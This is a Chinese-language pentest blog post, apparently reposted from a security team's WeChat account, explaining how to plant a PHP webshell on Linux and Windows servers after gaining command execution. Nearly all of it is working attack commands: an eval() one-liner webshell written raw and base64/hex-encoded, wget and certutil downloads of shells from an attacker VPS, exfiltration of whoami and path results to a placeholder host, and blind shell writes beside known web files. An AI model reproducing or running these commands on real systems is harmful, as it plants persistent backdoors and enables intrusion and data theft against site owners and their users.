一 些 落 地 的 webshell 的 方 法
2022-9-24 09:48:16 Author: 李白你好(查看原文) 阅读量:86 收藏

以下文章来自夜组安全LLBBB师傅,希望大家能够从中有所获。 NightCrawler安全团队诚邀各位共同学习,共同进步。

0x00 前言

当我们获取到执行命令的权限后,如何写入webshell

0x01 Linux环境

1.1目标出网,命令有回显

想要写入webshell,首先要知道服务器的绝对路径。通过find命令查找\php\jsp\asp等文件即找到绝对路径。find / -name index.php

(1)通过echo写入webshell

echo <?php eval($_POST[1]);?>> 目录/1.php #直接写webshell

其余写入的方式:

echo JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiUyMCUzRiUzRQ== |base64 -d >目录/1.php # base64编码后写入

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 目录/1.php # hex编码后写入

(2)远程下载webshell

如果目标能使用wget命令,可直接下载vps的webshell。 wget http://ip:port/x.php -O /目录/1.php

1.2目标出网,命令无回显

服务器开启监听,wget命令请求服务器监听地址,可以将命令执行的结果带出。

wget http://ip:port/`cmd`

拿到路径以后直接写入或者下载webshell即可。

1.3目标不出网,命令无回显

(1)获取绝对路径

使用以下命令,可以在查询文件的同级目录下,写入一个test.txt文件,访问该文件可以看到我们命令执行的结果。

find /|grep [查询的文件名]|while read f;do sh -c "[要执行的命令]" >$(dirname $f)/test.txt;done

我们使用该命令,同样可以查询到web服务器的绝对路径

拿到路径以后直接写入webshell即可。

(2)盲打

假设获取路径失败,直接写入到网站某个文件的同级目录下即可。

find / -name [文件名]|while read file;do sh -c "echo [base64编码内容] | base64 -d">$(dirname $file)/[写入的文件名];done

比如我们可以写入文件(123.php)到网站robots.txt的同级目录之下(最好确保该文件名唯一):

成功写入:

0x02 Windows环境

2.1 目标出网,命令有回显

windows使用如下命令确认绝对路径:

for /r "C:\" %i in ([文件名]*) do @echo %i

以pikachu1.png文件为例:

(1)确定绝对路径以后,直接写入webshell即可: echo ^<?php eval($_POST[1]); ?>^> > 目录\1.php

(2)远程下载webshell,使用certutil等命令,原理和linux相同。

2.2 目标出网,命令无回显

使用Ceye平台接收外数据 (1)执行whoami命令并将结果发送至Ceye for /f %i in ('whoami') do certutil -urlcache -split -f http://x.x.x.x/%i

(2)寻找web文件的绝对路径并将结果发送至Ceye

for /r c:\ %i in (文件名*) do certutil -urlcache -split -f http://x.x.x.x/%i

2.3 目标不出网,命令无回显

(1)查找绝对路径

cmd /c "for /f %i in ('dir /s /b c:\文件名') do (echo %i> %i.path.txt)" 这里以查找pikachu1.png绝对路径为例,命令执行结果会写入到pikachu1.png文件的同级目录,访问pikachu1.png.txt文件,即可看到命令执行的结果。

拿到绝对路径以后直接写入webshell即可。

(2)盲打

假设获取路径失败,使用以下命令直接写入webshell到网站某个文件的同级目录下即可。 cmd /c "for /f %i in ('dir /s /b 盘符:文件命') do (echo shell > %i/../shell.php)" 这里尝试将webshell写入到pikachu1.png文件的同级目录下

php的一句话里有问号,直接写会报错,这里通过base64编码分两步写入。

for /f %i in ('dir /s /b c:\pikachu1.png') do (echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== > %i\..\shell123.txt)

for /f %i in ('dir /s /b c:\shell123.txt') do (certutil.exe -decode %i\..\shell123.txt %i\..\shell.php)

成功写入webshell到pikachu1.png文件的同级目录下,并且解析成功。

0x03 夜组安全

"恐惧就是貌似真实的伪证" NightCrawler Team(简称:夜组)主攻WEB安全 | 内网渗透 | 红蓝对抗 | 代码审计 | APT攻击,致力于将每一位藏在暗处的白帽子聚集在一起,在夜空中划出一道绚丽的光线!


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247494069&idx=1&sn=8c21af29529af3ee9f4b6ee3005bcf11&chksm=c09a9ae5f7ed13f37636f2349debd324c96d9ff67405f8d6106fa5d771590f6622cda0c66c71#rd
如有侵权请联系:admin#unsafe.sh